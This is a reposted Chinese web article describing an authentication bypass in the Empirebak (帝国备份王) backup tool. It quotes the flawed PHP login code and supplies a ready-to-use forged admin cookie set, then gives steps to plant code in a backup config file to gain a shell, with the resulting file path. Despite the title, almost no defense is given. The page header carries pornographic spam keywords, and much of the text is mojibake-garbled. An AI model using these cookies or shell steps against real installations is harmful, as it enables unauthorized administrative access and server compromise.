人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動(dòng)態(tài)

帝國(guó)備份王(Empirebak)萬能cookie及拿shell方法與防御

發(fā)布日期:2021-12-21 11:05 | 文章來源:腳本之家
轉(zhuǎn)自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591
1.偽造cookie登錄系統(tǒng)(其實(shí)這一步多余的,大多用戶連密碼都沒改,都是默認(rèn)的123456)

登錄成功設(shè)置4個(gè)cookie,看代碼

PHP Code復(fù)制內(nèi)容到剪貼板
  1. functionlogin($lusername,$lpassword,$key,$lifetime=0){
  2. global$set_username,$set_password,$set_loginauth,$set_loginkey;
  3. if(emptyempty($lusername)||emptyempty($lpassword)){
  4. printerror("EmptyLoginUser","index.php");
  5. }
  6. //驗(yàn)證碼
  7. if(!$set_loginkey)
  8. {
  9. if($key<>getcvar('checkkey')||emptyempty($key))
  10. {
  11. printerror("FailLoginKey","index.php");
  12. }
  13. }
  14. if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)
  15. {
  16. printerror("ErrorUser","index.php");
  17. }
  18. //認(rèn)證碼
  19. if($set_loginauth&$set_loginauth!=$_POST['loginauth'])
  20. {
  21. printerror("ErrorLoginAuth","index.php");
  22. }
  23. $logintime=time();
  24. $rnd=make_password(12);//生成隨機(jī)字符
  25. $s1=esetcookie("bakusername",$lusername,0);
  26. $s2=esetcookie("bakrnd",$rnd,0);//隨機(jī)字符
  27. $s3=esetcookie("baklogintime",$logintime,0);
  28. Ebak_SCookieRnd($lusername,$rnd);//
  29. if(!$s1||!$s2)
  30. {
  31. printerror("NotOpenCookie","index.php");
  32. }
  33. printerror("LoginSuccess","admin.php");
  34. }

再看看make_password函數(shù)

PHP Code復(fù)制內(nèi)容到剪貼板
  1. functionmake_password($pw_length){
  2. $low_ascii_bound=50;
  3. $upper_ascii_bound=122;
  4. $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);
  5. while($i<$pw_length)
  6. {
  7. mt_srand((double)microtime()*1000000);
  8. $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
  9. if(!in_array($randnum,$notuse))
  10. {
  11. $password1=$password1.chr($randnum);
  12. $i++;
  13. }
  14. }
  15. return$password1;
  16. }

這個(gè)函數(shù)只是生成隨機(jī)數(shù),再看看Ebak_SCookieRnd函數(shù)

PHP Code復(fù)制內(nèi)容到剪貼板
  1. functionEbak_SCookieRnd($username,$rnd){
  2. global$set_loginrnd;//$set_loginrnd為config.php里面的驗(yàn)證隨機(jī)碼
  3. $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//沒有把密碼加進(jìn)去,于是漏洞產(chǎn)生了
  4. esetcookie("loginebakckpass",$ckpass,0);
  5. }

下面給出萬能cookie(key:value):

XML/HTML Code復(fù)制內(nèi)容到剪貼板
  1. ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6
  2. ebak_bakrnd:35y5cCnnA4Kh
  3. ebak_bakusername:admin
  4. ebak_baklogintime:4070883661

使用以上cookie即可直接訪問admin.php

2.拿shell

后臺(tái)參數(shù)設(shè)置一般都設(shè)置好了,如果不能連接數(shù)據(jù)庫(kù),可以在數(shù)據(jù)庫(kù)設(shè)置里填個(gè)自己的遠(yuǎn)程數(shù)據(jù)庫(kù)

備份數(shù)據(jù),隨便找個(gè)數(shù)據(jù)庫(kù)備份,

然后到替換目錄文件內(nèi)容里,選擇剛才備份的數(shù)據(jù)庫(kù),

將”$b_table=”

替換成

“phpinfo();

$b_table=”


這里shell的路徑就是bdata/mysql_20141007221849/config.php

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實(shí)時(shí)開通

自選配置、實(shí)時(shí)開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對(duì)1客戶咨詢顧問

在線
客服

在線客服:7*24小時(shí)在線

客服
熱線

400-630-3752
7*24小時(shí)客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部